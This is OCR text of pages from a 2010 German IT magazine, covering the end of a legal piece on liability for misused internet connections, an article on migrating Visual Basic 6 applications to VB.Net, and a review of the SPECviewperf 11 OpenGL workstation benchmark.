Erziehungsberechtigte könnten nun möglicherweise gezwungen sein, den Zugang strikt zu reglementieren, um etwaigen Haftungsfragen aus dem Wege zu gehen, denn leider bringt das Urteil auch keinerlei Klarheit für Fälle, in denen nicht ein unbekannter Dritter, sondern ein Familienmitglied den Anschluss für Urheberrechtsverletzungen missbraucht hat. Es ist höchstgerichtlich also nach wie vor nicht geklärt, welche Überwachungspflichten ein Anschlussinhaber beispielsweise gegenüber seiner Ehefrau oder seinen Kindern treffen muss. Und das dürfte weit mehr Rechtsunsicherheit schaffen als die Fälle, in denen Unbekannte einen Anschluss missbräuchlich verwenden. (un) Literatur [1]ˇManuel Schmitt; Identitätsverlust; IP-Adressen allein haben keine Beweiskraft; ix 6/2010, S. 26 DR. DENNIS WERNER ist Rechtsanwalt in der Kanzlei Bergfeld & Partner in Lüdenscheid mit dem Schwer punkt IT-Recht, Gründungsmitglied der Arbeitsgruppe Identitätsschutz im Internet (a-i3) und Autor zahlreicher Veröffentlichungen und Vorträge zum IT-Recht. DR. CHRISTOPH WEGENER ist promovierter Physiker, seit 1999 freiberuflich mit der wecon.it-consulting in den Themen IT-Sicherheit, Datenschutz und Open Source unterwegs sowie als Projektleiter und Berater am Horst Görtz Institut für IT-Sicherheit (HGI) in Bochum tätig. x ix 11/

108 WISSEN Softwaremigration VB6-Anwendungen nach VB.Net migrieren Altlasten verwerten Klaus Löffelmann Für Visual Basic 6 läuft die Zeit ab. Kann man auf Programme, die in dieser Sprache geschrieben sind, nicht verzichten und will sie nicht in Gänze neu schreiben, bleibt nur der Weg, den Code hin zum.net-nachfolger zu migrieren. Diese Arbeit ist gepflastert mit Fettnäpfchen und Stolperkanten. Hochrechnungen zufolge befinden sich noch immer Hunderte Millionen wenn nicht sogar Milliarden Zeilen VB6-Code im Einsatz. Über diesen Anwendungen hängt jedoch das Damokles-Schwert, denn die benötigte Laufzeitumgebung ist stark in die Jahre gekommen und schwächelt unter modernen Betriebssys - temen. Microsoft hat die Weiterentwicklung von VB6 zur Jahrtausendwende eingestellt, wie lange es für zukünftige Betriebssysteme noch Laufzeitumgebungen geben wird, ist ungewiss. Ein Übersiedeln in die.net-welt ist neben einer Neuentwicklung auf Dauer die einzige Option, aber ein großer Kraftakt. VB6 hatte bestenfalls objektorientierte Ansätze, verfügte dafür aber über einen liberalen Umgang mit Typen, zu einer Zeit, als die Disziplin Dynamisches Programmieren noch weitgehend unbekannt war. Es war durch selbst erklärende Befehls- und Kommandonamen schnell zu erlernen und leicht lesbar. Der wohl größte Vorteil aber war die unglaublich schnelle Turnaround-Zeit: Der Zyklus Editieren des Quell - codes, Kompilieren, Starten des Programms, Unterbrechen, Korrigieren, Neustarten war dank des Background- Compilers sogar bei mehreren 10ˇ000 Zeilen Code eine Sache von Sekunden. Dank dieser Vorzüge konnten Programmiereinsteiger schnelle Erfolge vorweisen. VB6 erlaubte dem Programmierer, Aufgaben schnell zu erledigen und sich aufs Wesentliche, die Inhalte, zu konzentrieren. VB6: Schnell und effektiv Leider entstanden auf diese Weise oft riesige Code-Monster in einer Art von Fließbandproduktion. Klassisches und konsequentes Softwaredesign, wie es zeitgleich in der C++- Anwendungsentwicklung üblich war, trifft man selbst bei umfangreichen VB-Projekten eher selten an. Dafür beeindrucken VB-Anwendungen bis heute durch das qualitativ hochwertige branchenspezifische Wissen, das sie transportieren, und die kurzen Zeiträume, in denen sie entstanden sind. Als Consultant trifft man mitunter auf außergewöhn - liche Produkte, die sich seit Jahren am Markt behaupten: Während Datenbankanwendungen wie die Autozubehörverwaltung, konfigurierbare CRM- oder ERP-Systeme, Systeme für Zeit- und Per - sonalwirtschaft, bis hin zur zahnärztlichen Patientenakte noch die Regel sind, trifft man auf Exoten wie in VB6 geschriebene Robotersteuerungen, Verbrauchssteuerungen für Strom, Dampf, Wasser und Waschmittel in Großwäschereien oder sogar Steuerungen für Kraftwerke wobei Letzteres, wertfrei gesagt, mindestens zum Nachdenken führen sollte. Eine Sache ist den VB6- Anwendungen leider gemein: Sie führen unter modernen Betriebssystemen wie Vista oder Windowsˇ7 zu immer mehr 108 ix 11/2010

109 Problemen, und das liegt in der Regel nicht an der eigentlichen VB-Laufzeitumgebung, die seit Vista mit der msvb6vm.dll von Haus aus Bestandteil jeder Windows-Installation ist, sondern an vielen alten COMund OCX-Komponenten (OCX steht für OLE Custom Controls, die ActiveX-Steuerelemente erstellen), die mit den strengeren Sicherheitseinstellungen der letzten Betriebssystemversionen einfach nicht mehr klar kommen. Hätte sich Microsoft nicht bereit erklärt, für Vista und im letzten Moment noch für Windowsˇ7 die Laufzeitumgebung anzupassen und die OCX-Steuerelementen für die jeweiligen Betriebssystemen zur Verfügung zu stellen, wäre für VB6-Anwendungen mit XP Schluss gewesen. Bei Windowsˇ7 stand die Entscheidung, eine VB6 Virtual Machine auszuliefern, lange auf der Kippe, und es wurde erst kurz nach der Betaˇ2 bekannt, dass es doch noch eine angepasste VB6- Runtime geben würde. Sollte jedoch Windowsˇ8 tatsächlich nur noch als 64-Bit- Betriebssys tem das Licht der Welt erblicken, droht die Gefahr, dass mit VB6-Anwendungen Schluss sein wird, denn 64 Bit hat VB6 per se noch nie unterstützt, und eine erneute Anpassung der Runtime nur für den abwärtskompatiblen WOW-Modus ( Windows on Windows für 32-Bit-Anwendungen) ist nicht wahrscheinlich. Die einzige Alternative bestünde dann noch in der Verwendung geeigneter Virtualisierungstechniken. Laufzeitumgebung mit Verfallsdatum Zuweilen rächt sich fehlendes Entwicklergrundwissen der VB6-Entwickler, etwa über die genauen Vorgehensweisen beim Ermitteln von oder dem Zugriff auf Spezialverzeichnisse von Windows. Es ist nicht selten, dass Pfade zu Systemverzeichnissen (Windows, System32, Eigene Dateien, Programme) hart codiert und damit kultur- und betriebssystemversionsabhängig sind, oder um ein anderes, häufig gesehenes Beispiel zu bemühen der Zugriff auf die Registry in einer Weise erfolgt, dass aktuelle Betriebssysteme schützend die Hand davor halten müssen. In beiden Fällen kann die Anwendung nicht mehr funktionieren. Da solche Programme teilweise über einen Zeitraum von mehreren Jahren gepflegt werden, gestaltet sich das Beheben solcher Probleme wenn es überhaupt technisch möglich oder, bei einer bevorstehenden Migration, lohnenswert ist mitunter recht schwierig. Die Entwickler, die für die ersten Versionen verantwortlich waren, sind aus den Unternehmen oft längst ausgeschieden die klassische COBOL-Hürde. Alles neu alles anders Man könnte sich fragen, warum viele der Programme immer noch unter VB6 im Einsatz sind, und nicht längst unter dem.net-äquivalent laufen. Die Antwort: VB.Net hat im Grunde genommen neben dem Namen Visual Basic, einigen Schlüsselwörtern und Strukturen mit dem Vorgänger nichts gemein. VB.Net ist C# ähnlicher als C++ der klassischen.net-sprache C# sehr viel ähnlicher. C#-Entwickler sind über diese Tatsache oft verwundert für VB6-Entwickler ist das ein echter Schock. So seltsam es klingt, vielleicht weil das Wort Migra- tion ein wenig negativ konnotiert ist, einer Transformation der Software muss im Falle von VB6 in der Regel erst eine Migration des Programmierer-Teams vorausgehen. Ausnahmen bilden lediglich die Entwicklergruppen, die neben VB6 weitere Erfahrungen mit Umgebungen wie Java oder C++ haben und keine Schwierigkeiten hatten, sich auf die Denkweise der objektorientierten Programmierung einzustellen. Für normale VB6-Entwickler kommt oftmals erst ein Praxisschock (s. Kasten Der Faktor Mensch ). Datentypen kaum vergleichbar Der Teufel steckt im Detail: Es gibt nicht nur viele VB6- Datentypen in.net nicht mehr (Variant) oder unter neuem Namen (Currency wird zu Decimal) oder die Eigenschaften der Datentypen ändern sich (Integer unter VB6 ist 16 Bit breit, unter.net sind es 32 Bit, Long ist unter VB6 32-bittig, unter.net selbstverständlich wie in C# 64-bittig). Dazu verhält sich Code beim Umgang mit den Datentypen völlig anders: Dividiert man in VB6 einen Wert vom Typ Double durch 0, löst das einen Fehler aus. In.Net gibt das ein gültiges Ergebnis ohne Ausnahme, je nach positiven oder negativen Dividend Double.PositiveInfinity oder Double.NegativeInfinity. Arrays können in VB6 beliebig festgelegte obere und x-tract untere Grenzen haben, in.net sind sie immer 0-basierend. Der Zugriff auf Objekte erfolgt in VB6 über das spezielle Schlüsselwort Set, da die Sprache in der Versionˇ6 ganz einfach mehr mit Objekten umging, als sie tatsächlich zu definieren. Auch aus diesem Grund kannte VB6 die sogenannten Standardeigenschaften; in VB.Net haben diese eine völlig neue Bedeutung. In VB6 würde die Anweisung TextBoxVar = obj dazu führen, dass die Standardeigenschaft Text der Text- Box-Instanz neu definiert würde. Für das Setzen einer neuen TextBox-Instanz wäre hingegen die Anweisung Set TextBoxVar = obj vonnöten. In VB.Net macht aber TextBoxVar = obj genau dieses, das Set-Schlüsselwort zum Setzen einer neuen Referenz in einer Objektvariablen gibt es nicht mehr, und um eine Eigenschaft neu zu definieren, muss der Eigenschaftenname auch wirklich genannt werden: TextBoxVar.Text = obj. Dazu kommt: VB6 ist nicht typsicher. Der Compiler macht nicht nur unproblematische, erweiternde (Integer zu Long), sondern auch gefährliche, schmälernde Typ-Castings (Long zu Integer) beziehungsweise ganze Typumwandlungen (String zu Date oder Integer) mit, ohne entsprechende Warnungen oder Fehler auszugeben. Er produziert sogar den VB6-Applikationen müssen auf eine andere Programmiersprache umgesetzt werden, will man sie auch in Zukunft weiter einsetzen und die Anwendung nicht grundsätzlich neu entwickeln. Microsoft hat zur Jahrtausendwende die Weiterentwicklung der Sprache eingestellt. VB.Net hat als Nachfolger außer dem Namen wenig gemein mit VB6, ehemalige VB6-Entwickler müssen somit weitergebildet und geschult werden. Strategische Fragen wie die, ob die Software unter.net nur lauffähig sein soll oder ob man den Code später pflegen und weiterentwickeln will, bestimmen die Art der Migration und den Einsatz von Werkzeugen. ix 11/

110 WISSEN Softwaremigration Code, damit eine Umwandlung von einer Zeichenkette in einen anderen primitiven Datentyp funktionieren kann. In C# ist das undenkbar, in VB.Net zum Glück abschaltbar. Genau dieses liberale Verhalten des VB6-Compilers sollte man aber bei einer Migration abstellen, da es der Grund für viele schwer zu findende Bugs ist (als Zeichenkette wird bei absteigender Sortierung der nach dem einsortiert, erst als wirklicher Datumswert wäre es korrekt). Fehlende OO-Strukturen Diese paar Punkte, die die Spitze des Eisbergs darstellen, machen deutlich, dass die Entwickler alle Algorithmen anpacken, umschreiben und neu testen müssen; teilweise können Migrationstools dabei helfen. Eine aufwendige Nacharbeit und intensives Testen ist in jedem Fall erforderlich. Und dabei stellen die unterschiedlichen Verhaltensweisen der VB-Anwendungen nur eine Hürde dar, die mit Fleiß und guten Tools noch zu nehmen ist. Ungleich schwieriger sind die unterschiedlichen Paradigmen, mit denen in VB6 und VB.Net idealerweise zu programmieren ist: VB6 proze - dural, VB.Net objektorientiert. Dazu ein klassisches Beispiel: Wenn es in VB6 darum ging, eine ListBox mit Daten von Mitarbeitern eines Unternehmens zu füllen, baute man dazu eine Zeichenkette aus den relevanten Einzeldatenfeldern eines ADORecordset-Objekts zusammen, und schrieb diese mit AddItem in die ListBox. Die Kreativität, später aus einer in der ListBox selektierten Zeichen folge wieder den Bezug zum Ursprungs objekt, Beispiel 1: eine real durchgeführte Migration. Die Schulung der VB6-Programmierer lief parallel (Abb. 1). also dem ADORecordset herzustellen, war bei VB6-Entwicklern grenzenlos. Da wurde die ID eben als Teil der Zeichenfolge mit in die ListBox geschrieben, ob der Anwender sie sehen wollte oder nicht, und im Bedarfsfall aus dem Text herausgeparst manchmal aus Unachtsamkeit mit entsprechendem Kollateralschaden. Und wenn ein Auftraggeber partout darauf bestand, der Benutzer dürfe die für ihn irrelevanten Informationen nicht sehen, wurden vor die ID einfach so viele Leerzeichen gesetzt, dass die ID in der ListBox nicht mehr zu sehen, für den Programmierer aber dennoch noch zugänglich war. Dass VB6 ItemData zum Speichern von Objektidentifizierern kannte, scheint, wenn man immer wieder typischen VB6-Code untersucht, vielen VB6-Entwicklern bis heute entweder nicht bekannt zu sein, oder sie waren mit dieser Funktion schlichtweg überfordert. Nun kann man sich vorstellen, wie es eben diesen Entwicklern ergeht, wenn man ihnen ohne Vorbereitung erklärt, dass sie nunmehr keine Zeichenfolge, sondern das komplette Ausgangsobjekt der ListBox hinzufügen, die Textdarstellung durch das Überschreiben von ToString dem Objekt überlassen, und später beim Auslesen des selektierten Eintrags der ListBox das Ausgangsobjekt direkt zurückerhalten, auf das allerdings zunächst durch eine Variable vom Typ Object verwiesen wird und das man deswegen explizit in seinen Ausgangstyp casten muss. Für C#-, C++- und Java- Programmierer ist das ein nicht erwähnenswerter Normalzustand, 95ˇ% aller VB6- Programmierer können dies alles erst einmal nicht nachvollziehen. Ihre Sprache kennt keine klassische Vererbung, und damit kein polymorphes Aufrufen von Methoden über Variablen von gemeinsamen Basistypen einer Objekthierarchie. Dies macht die ListBox 110 ix 11/2010

111 Beispiel 2: Auch bei dieser Migration wurden neben der Schulung des VB6-Teams Bereiche der Entwicklung extern vergeben (Abb. 2). beispielsweise auf einfache Weise mit ToString, um ein Objekt in seine Zeichenkettenrepräsentation umzuwandeln. Während VB6-Entwickler selber dafür sorgen, eine String-Repräsentation aus einem Objekt zu erstellen und dieses der ListBox hinzufügen, übergibt man in VB.Net das ganze Objekt dem Steuerelement, und überlässt es dem Klassencode des Objektes, seine String-Repräsentation zu generieren. Größte Baustelle: Datenbankzugriffe Was den Zugriff auf Daten anbelangt, muss der ProiX 11/

112 WISSEN Softwaremigration grammierer ebenfalls komplett umdenken. Ein ständig verbundener Datenzugriff mit Datenseiten- oder Datensatzsperren gibt es unter.net nicht mehr. Bei.Net werden, gleichgültig welcher Technik man sich bedient, Daten grundsätzlich selektiert, in den Speicher geladen, bearbeitet und die Änderungen zurückgeschrieben. Viele der bestehenden VB6-Anwendungen verlassen sich aber auf das Locking von Datensätzen auf Zeilen- oder Seitenbasis bei bleibenden Verbindungen. Datenbankzugriffe muss man folglich bei einer Migration in der Regel komplett neu schreiben. Ob man über ADO.Net DataSets und DataTables (schnellste Methode), typisierte DataSets (höhere Typsicherheit, aber an den Daten-Provider gebunden), LINQ to SQL (nur für den SQL Server verfügbar und inzwischen ein Auslaufmodell ) oder LINQ to Entities (mehrere Daten- Provider, konkurrenzfähiger OR/Mapper und zukunfts - sicher) zurückgreifen will, hängt stark vom jeweiligen Einsatzgebiet der Software ab. GUI: WinForms oder WPF In jedem Fall sind die Code- Bereiche, die den Datenbankzugriff steuern, praktisch neu zu schreiben. Da kann man nur froh sein, wenn der VB6- Code einigermaßen strukturiert ist und sich diese Funktionen nicht auf das ganze Listing verteilen. In der Regel migriert man VB6-Anwendungen auf Basis von WinForms. Die Gestaltung und Codierung von Formularen und ihren entsprechenden WindForms sind recht ähnlich. Aber etliche Stolpersteine sind hier ebenfalls vorprogrammiert. Für die Formulare kennt VB6 keine automatische Positionierungshilfen. Steuerelemente können sich somit nicht an die Größe des Fensters anpassen, gelöst wurde das Problem in der Regel durch selbst geschriebene Controller. In VB.Net sind diese Hilfsmittel nicht nur überflüssig, teilweise stören sie sogar, da sie mit den eingebauten Layout-Features kollidieren können. Das passiert, wenn alte und neue Layoutme cha - nismen (Dock, Anchor, Verwenden von speziellen Containern wie TableLayoutPanel) versehentlich vermischt werden. Formulare sollte man in WinForms daher neu designen. Einige Teams gehen bei ihren Migrationsplänen sogar soweit, WinForms gar gleich komplett durch die WPF-basierte GUI-Programmierung abzulösen. Häufiger Beweggrund sind dabei die Fehlinformationen, WinForms seien obsolet, veraltet, würden nicht weiterentwickelt oder gepflegt und flögen bald aus dem.net-framework heraus. Wie gesagt, eine falsche Einschätzung. Was Skalierung, große Displays, Touchscreen-Unterstützung, Animations- und 3D-Fähigkeiten anbelangt, ist WPF WinForms sicherlich überlegen, in Sachen der Automa - tisierung von Benutzerober - flächen sogar alternativlos. Für typische Business-Frontends fehlen immer noch eine Menge Funktionen, gerade beim Designer, und einfache Funktionen in Allerweltskomponenten. Zudem müssten die Entwickler als weitere Hürde zeitgleich die Formular-Beschreibungssprache XAML lernen. Strategische Fragen Bei der Frage, welche Strategie das Team bei der Migration fahren soll, sollten die Verantwortlichen zwei große Einflussfaktoren unter einen Hut bringen. Auf der einen Seite stehen die Fähigkeiten des Teams sowie die Zeitund Geldressourcen, auf der anderen die funktionalen Forderungen an die neue Applikation. Soll sie unter.net als Blackbox nur funktionieren, oder ist zu erwarten, dass künftig das Programm weiter gepflegt oder sogar weiterentwickelt werden soll? Besteht der Anspruch, das VB6-Programm nach der Migration weiter zu pflegen, muss man sich darüber klar sein, dass VB.Net und VB6 wirklich wenig gemeinsam haben, und dass ein VB6- Team über eine längere Phase die Chance erhalten muss, sich in Ruhe mit den neuen Techniken auseinanderzusetzen. Reicht die Blackbox, könnte man Migrations-Tools einsetzen oder in Erwägung ziehen, die Migration ganz in die Hände eines entsprechenden Dienstleisters zu geben. Nur kann dann später im Haus wohl niemand Anpassungen vornehmen, die unerwartet doch notwendig werden. Fazit und Ausblick Wie ein genauer Fahrplan einer Migration von VB6 zu Visual Basic.Net auszusehen hat, lässt sich nicht allgemeingültig klären, denn zu unterschiedlich sind die Anwendungen, und die eingesetzten Entwicklungssysteme. Will man auf besagte spätere Weiterentwicklung der Applika - tion verzichten und folglich die Migration weitgehend automatisieren, sollte man sich Tools wie ArtinSofts Upgrade Companion oder Francesco Balenas Migration Partner, aber auch für Teilprojekte Interop Forms Toolkit ansehen. In einer der folgenden Ausgaben wird ix diese Tools vorstellen. (WM) Der klassische VB6-Entwickler ist mehr Fach- Consultant als reinrassiger Programmierer im Grunde sind viele VB6ler mehr Anwender als Entwickler. Anwender einer einfach zu lernenden, aber dennoch leistungsfähigen und produktiven Programmiersprache. Sie stehen irgendwo zwischen den Power-Usern und den Softwareentwicklern, das muss den Beteiligten vor einem Migrationsprojekt klar sein, da ist kein Platz für Eitelkeiten. Diesen Sonderstatus muss man bei der Migra - tion berücksichtigen, denn anders als bei einer Migration beispielsweise von C++ nach C# müssen die Entwickler nicht nur ein neues Vokabular, sondern dazu noch eine komplett andere Der Faktor Mensch Grammatik lernen. Visual Basic hatte zwar in seiner 6.0-Version objektorientierte Ansätze, diese dienten aber in erster Linie dazu, COM zu bedienen und nicht objektorientiert zu entwickeln, es fehlten der Sprache aber Konzepte wie beispielsweise echte Vererbung. Ein externer Consultant muss deswegen auf die Fähigkeiten des Teams eingehen und die Strategie und zu verwendende Techniken bei der eigentlichen Migration davon abhängig machen. Die ideale Migrationsstrategie aus rein technischer Sicht ist daher nicht unbedingt die beste fürs Projekt, da sich unter Umständen eine zu hohe Lernkurve als Show-Stopper für ein Projekt entpuppen könnte. KLAUS LÖFFELMANN ist Microsoft MVP für VB.Net, Softwareentwickler, Berater und Buchautor. Er unterstützt mit seiner Firma Unternehmen bei Softwareund Migrationsprojekten. Literatur [1]ˇKlaus Löffelmann, Sarika Calla Purohlt; Visual Basic 2010; Entwicklerbuch; Microsoft Press, 2010 x 112 ix 11/2010

113 WISSEN Anscheinend gibt es Programme, mit denen man die Leistung von Systemen messen kann, zuhauf vor allem für den Grafikbereich. Bei genauerem Hinsehen zeigt sich aber, dass es beim größten Teil um Computerspiele geht oder die Tests spezielle Vertreter dieser Kategorie sind. Sie dienen dazu, mit Frames per Second (fps) zu einer Aussage über die Grafikleistung zu kommen. Bis auf wenige Ausnahmen nutzen solche Benchmarks Microsofts DirectX als Grafiksystem. Der oft zitierte Gegenspieler, OpenGL, ist dort unterrepräsentiert, da er kaum noch im Spieleumfeld, sondern in Workstations zum Einsatz kommt, vor allem in Verbindung mit Unix. Am Rande fällt aber auf, dass einige Spiele-Benchmarks für DirectX in der Version 11 eine OpenGL-Option haben. Gerüchte um OpenGL Obwohl Microsoft mit DirectX respektive Direct3D ein eigenes Grafiksystem hat, unterstützt es nach wie vor OpenGL, und zwar über den GDI Renderer (Graphics Device Interface), den Installable Client Driver (ICD) und seit Vista über den DirectX- Wrapper. Die OpenGL-Implementierung aber liefern die Anbieter von Grafikhardware samt Treiber mit. Das führt dazu, dass die Softwareingenieure nah an der Hardware werkeln können; wohl einer der Gründe, warum einige der neuen Benchmarks neben DirectX 11 außerdem OpenGL unterstützen, etwa Cinema3D [a] oder Heaven [b]. In der Grafikabteilung der Standard Performance Evaluation Corporation (SPEC), einer Herstellervereinigung, die sich den Benchmarks verschrieben hat, dominieren die anwendungsbezogenen Testverfahren der Application Performance Characterization Group, kurz SPECapc. Es gibt Varianten für fast alle bekannten Konstruktionssysteme, vorwiegend aus dem Automobilbau. Die SPEC bietet sie zwar frei zum Download an, die Tests setzen aber die jeweiligen kostenpflichtigen Applikationen voraus [c]. Benchmarks Hintergrund zum OpenGL-Test SPECviewperf 11.0 Sichtweise Ralph Hülsenbusch Wenn es darum geht, die Leistung von Workstations zu untersuchen, spielt die Grafik eine entscheidende Rolle. Für solche System hat die Herstellervereinigung SPEC eine neue Version ihres OpenGL-Benchmarks Viewperf aufgelegt. Allein der SPECviewperf, inzwischen in der Version 11 [1], kann unabhängig von einer Anwendung zur Untersuchung der OpenGL-Grafikleistung dienen. Er verwendet sogenannte Viewsets, die Ingenieure mit typischen Konstruktionssystemen erstellt haben. Ein Visualisierungsprogramm, das es samt Quellen für Windows sowie Linux/ Unix in 32- und 64-Bit- Versionen gibt, stellt die simulierten Konstruktionsvorgänge und Animationen dar. Jede der Varianten enthält in den 1 und 1,5 GByte großen ix 11/

114 WISSEN Benchmarks gepackten Datei sämtlich Viewsets, die den Löwenanteil ausmachen. Die SPEC wäre gut beraten, wenn sie die Viewsets vom Viewperf trennen würde, weil das einiges an Download-Aufwand erspart, wenn man die Viewset nur einmal laden mus. Ein GUI ließ auf sich warten SPECviewperf11 bietet dem Benchmarker im Unterschied zu allen vorherigen Releases eine grafische Benutzersteuerung. Die früheren Multi-Runs zum gleichzeitigen Laufenlassen mehrerer Viewperf-Instanzen gibt es nicht mehr. Der Grund dürfte sein, dass es sich dabei um keine echte Parallelverarbeitung handelte und neue Systeme mit ihrer wachsenden Zahl von Cores nicht mehr sinnvoll auf diese Weise zu bedienen sind. Zudem beansprucht der Benchmark von Haus aus die Grafikprozessoren, die CPU hat da nur Zulieferungsaufgaben. Die neue Version des View - perf nutzt neuere OpenGL- Funktionen wie Shading und Vertex Buffer Objects (VBOs). Sie verlangt mindestens Open GL 1.5 mit Erweiterungen sowie 3ˇGByte Hauptspeicher und belegt rund 6ˇGByte auf der Festplatte. Das Display sollte auf eine Auflösung von 1920ˇxˇ1080 Pixel eingestellt sein, wenn man die Ergebnisse einreichen oder mit veröffentlichten vergleichen will. Die Grafikkarte selbst muss mindestens 512 MByte VRAM besitzen; bei der 32-Bit- Version von Windows sollte man dem Starter die Option /3GB mitgeben. Zum Veröffentlichen bei der SPEC sind aber nur die Ergebnisse von 64-Bit-Systemen zugelassen. Erfüllt ein System die Mindestanforderungen nicht, brechen die Tests ab und liefern keine Ergebnisse unter Umständen kann das einen einzelnen Test betreffen. SPECview - perf11 verwendet acht aktuelle Viewsets, um der Grafik-En - Licht an: Schatten und Ausleuchtung heben im light-01 Strukturen der Objekte deutlich hervor (Abb. 1). Sichtbar: ensight.04 liefert Einblicke in Daten (Abb. 3). gine auf den Zahn zu fühlen. Ein Vergleich mit der älteren 10er-Version ist nicht möglich. Das erste Viewset light- 01 stammt aus SPECapcs LightWave 9.6, ein Visualisierungsprogramm von NewTek 1985 in Kansas, USA, gegründet und seit 1997 in San Antonio (Texas) ansässig. Beim Benchmarken durchläuft light-01 zehn Einzeltests. Die Modelle bestehen aus 2,5 bis 6 Millionen Eckpunkten (Vertices). Das führt zu einem intensiven Gebrauch von Vertex Buffer Objects (VBOs) im Immediate Mode, das heißt, dass die Software die Grafik direkt darstellt. Sieben Test nutzen GLSL-Shader, Berechnungsroutinen, die mit der OpenGL Shading Language erstellt wurden, einer höheren Programmiersprache basierend auf C [a]. Mit den Konstruktionssystemen CATIA V5 R19 und CATIA V6 R2009 von Dassault Systemes aus Frankreich haben Designer die Viewsets für catia-03 erstellt, es umfasst acht Tests. Die Modelle mit 6,3 bis zu 25 Millionen Vertices nutzen einige der Grafikmodi von CATIA. Sowohl CATIA V5 als auch V6 sind typische Vertreter von Grafiksoftware, die Fixed Pipelines and ARB (OpenGL Assembly Language) Vertexund Fragment-Shaders nutzen. Das heißt, sie verwendet die in der Hardware verdrahteten Pipelines und keine programmgesteuerten. Die Shader sind hier kleine Assembler- Programme in OpenGL, die direkt auf der Grafikkarte operieren [b]. Einsicht in die Daten bekommen Beim ensight-04 geht es um technische und wissenschaftliche Visualisierungen. Er beschränkt sich auf fünf Durchgänge. Die Viewsets Vorgefahren: In der neuen Version catia-03 geht es vom Gittermodell bis zum Prototyp (Abb. 2). Szenerie: maya-03 liefert Ergebnisse für die Animation (Abb. 4). entstanden mit CEIs EnSight 8.2 ( Die Softwareschmiede nahm 1999 ihren Betrieb auf und ist in Apex (USA) ansässig. Bei den Modellen, die aus 36 bis 45 Millionen Vertices bestehen, verwendet ensight-04 Display Lists per OpenGL. Der letzte Test arbeitet auch mit GLSL-Shader. Alle Zustandsänderungen, die durch das Rendern der Modelle zustande kommen, stammen aus Mitschnitten produktiver Anwendung. Wie beim ersten Viewset light-01 sind die Modelle für maya-03 im SPECapc for Maya 2009 entstanden. Sie bestehen aus 6 bis 66 Millionen Eckpunkten, die der Viewperf mit und ohne Vertex- und Fragment-Shader berechnet. Insgesamt kommen 11 Tests zum Zuge. Maya 2009 von Autodesk ist ein Werkzeug, das Künstler für 3D-Animationen einsetzen und für die Darstellungen 114 ix 11/2010

115 Autobauer: Die Software Pro/ENGINEER für den proe-5 ist in der Automobilindustrie im Einsatz (Abb. 5). Pseudo: Für tcvis-02 stammt die Proto - typing-software VisMockUp Pate (Abb. 7). beim Film Avatar genutzt haben. Es gibt eine Testver - sion von Maya 2009 zum Download beim Hersteller. Beim Rendern der Modelle verwenden die Tests alle Methoden zur Veränderung von Matrizen, Materialeigenschaften, Lichtverhältnissen und Linientypen. 3D-Software für CAM/ CAD/CAE, die Bereiche Computer Aided Manufacturing, Design und Engineering, bietet die international operierende Parametric Technology Corporation (PTC) mit Sitz in den USA. Ihre Software Pro/ENGINEER ist hauptsächlich in der Automobilindustrie im Einsatz und Teil ei- [a] GLSL Shader [b] ARB Vertex Shader Onlinequellen ner ganzen Produktpalette. Mitschnitte aus dem mit Pro/ENGINEER Wildfire 5.0 generierten grafischen Darstellungen liefern die Modelle für proe-05. Sie besitzen zwischen 7 und 13 Millionen Vertices. Der Viewset vollzieht die Veränderungen nach, wie sie beim Rendern eines Modells in der Praxis entstehen, einschließlich Matrizenmanipulationen sowie Änderungen an der Materialität, dem Licht und der Linienart. Ebenfalls von Dassault in Frankreich kommt das Konstruktionswerkzeug Solid Works 2009, das die Grundlage für sw-03 liefert. Wie der Name erahnen lässt, geht es assembly_language%29#a_sample_trivial_ ARB_Vertex_Shader Handfest: Die Modelle vom sw-03 stammen aus einem Konstruktionsprogramm im Fahrzeugbau (Abb. 6). Detailliert: snx-01 spielt mit großen, fein strukturierten Konstruktionen (Abb. 8). vor allem um technische Konstruktionen wie Automodelle und Motoren. Der Benchmark durchläuft zehn Tests mit Modellen, die aus 2 bis 20 Millionen Eckpunkten bestehen, und verwendet den immediate Mode teils mit Vertex Buffer Objects (VBO). Hier stammen sämtliche Modifikationen ebenfalls aus dem produktiven Einsatz. Siemens Teamcenter Visualization Mockup (VisMockUp) liefert die Testumgebung für tcvis-02, eine Prototyping- Software unter anderem für VR-Laboratorien. VisMockUp hatte die Softwarefirma Unigraphics Solutions (UGS) entwickelt 2007 hat Siemens UGS übernommen. Die Modelle sind aus 10 bis 20 Millionen Vertices aufgebaut, mit eingebetteten Vertex Arrays und festen Lichtquellen. Der Test durchläuft fünf Stufen. Der Letzte im Reigen, snx-01, entstand ebenfalls aus einem ehemaligen Produkt von Unigraphics, das auf deren Parasolid-Modellierkern basiert. Es handelt sich um ein bei Siemens weiterentwickeltes CAD/CAM/CAE-System namens NX, inzwischen in der Versionˇ7 für computergestütztes Design, Manufacturing und Engineering. Der Test verwendet große Modelle mit 11 bis 62 Millionen Vertices in 13 Phasen. Fazit SPECs Viewperf in der Ver - sion 11 untersucht die Qualität der Grafikprozessoren und lastet die CPU-Kerne nur einzeln aus. Der Benchmark verwendet keine Threads. Seine Vorgänger boten noch Messungen im Multi-Mode, in dem der SPECviewperf10 zwei- oder vierfach gleichzeitig lief. Inzwischen ergibt das kaum noch Sinn, denn bei der Ermittlung der Grafikleistung spielt die CPU nur noch eine untergeordnete Rolle ihre Aufgabe ist es, Daten bereitzustellen. Einige Messungen und die Analyse der bisher publizierten Ergebnisse bestätigen das. SPECviewperf bietet keinen Maßstab für herkömmliche Computerspiele. Er liefert eine Orientierung für Workstations und für 3D-Visualisierungen, bezogen auf industriell eingesetzte Anwendungen. Deshalb wäre es fatal, wenn aus den Ergebnissen der einzelnen Viewset ein Wert gebildet würde. Die Endresultate errechnet viewperf als geometrisches Mittel aus den einzelnen Tests eines Viewset. Beispiele für Ergebnisse, die mit SPECviewperf 11 entstanden sind, stehen auf den Seiten 70 und 71 im Beitrag zu Parallels Workstation 4.0 Extreme. (rh) Literatur [1]ˇOPenGL-Benchmark Viewperf 11 mit grafischer Benutzeroberfläche verfügbar; ixˇ8/2010, S.ˇ34 x ix 11/

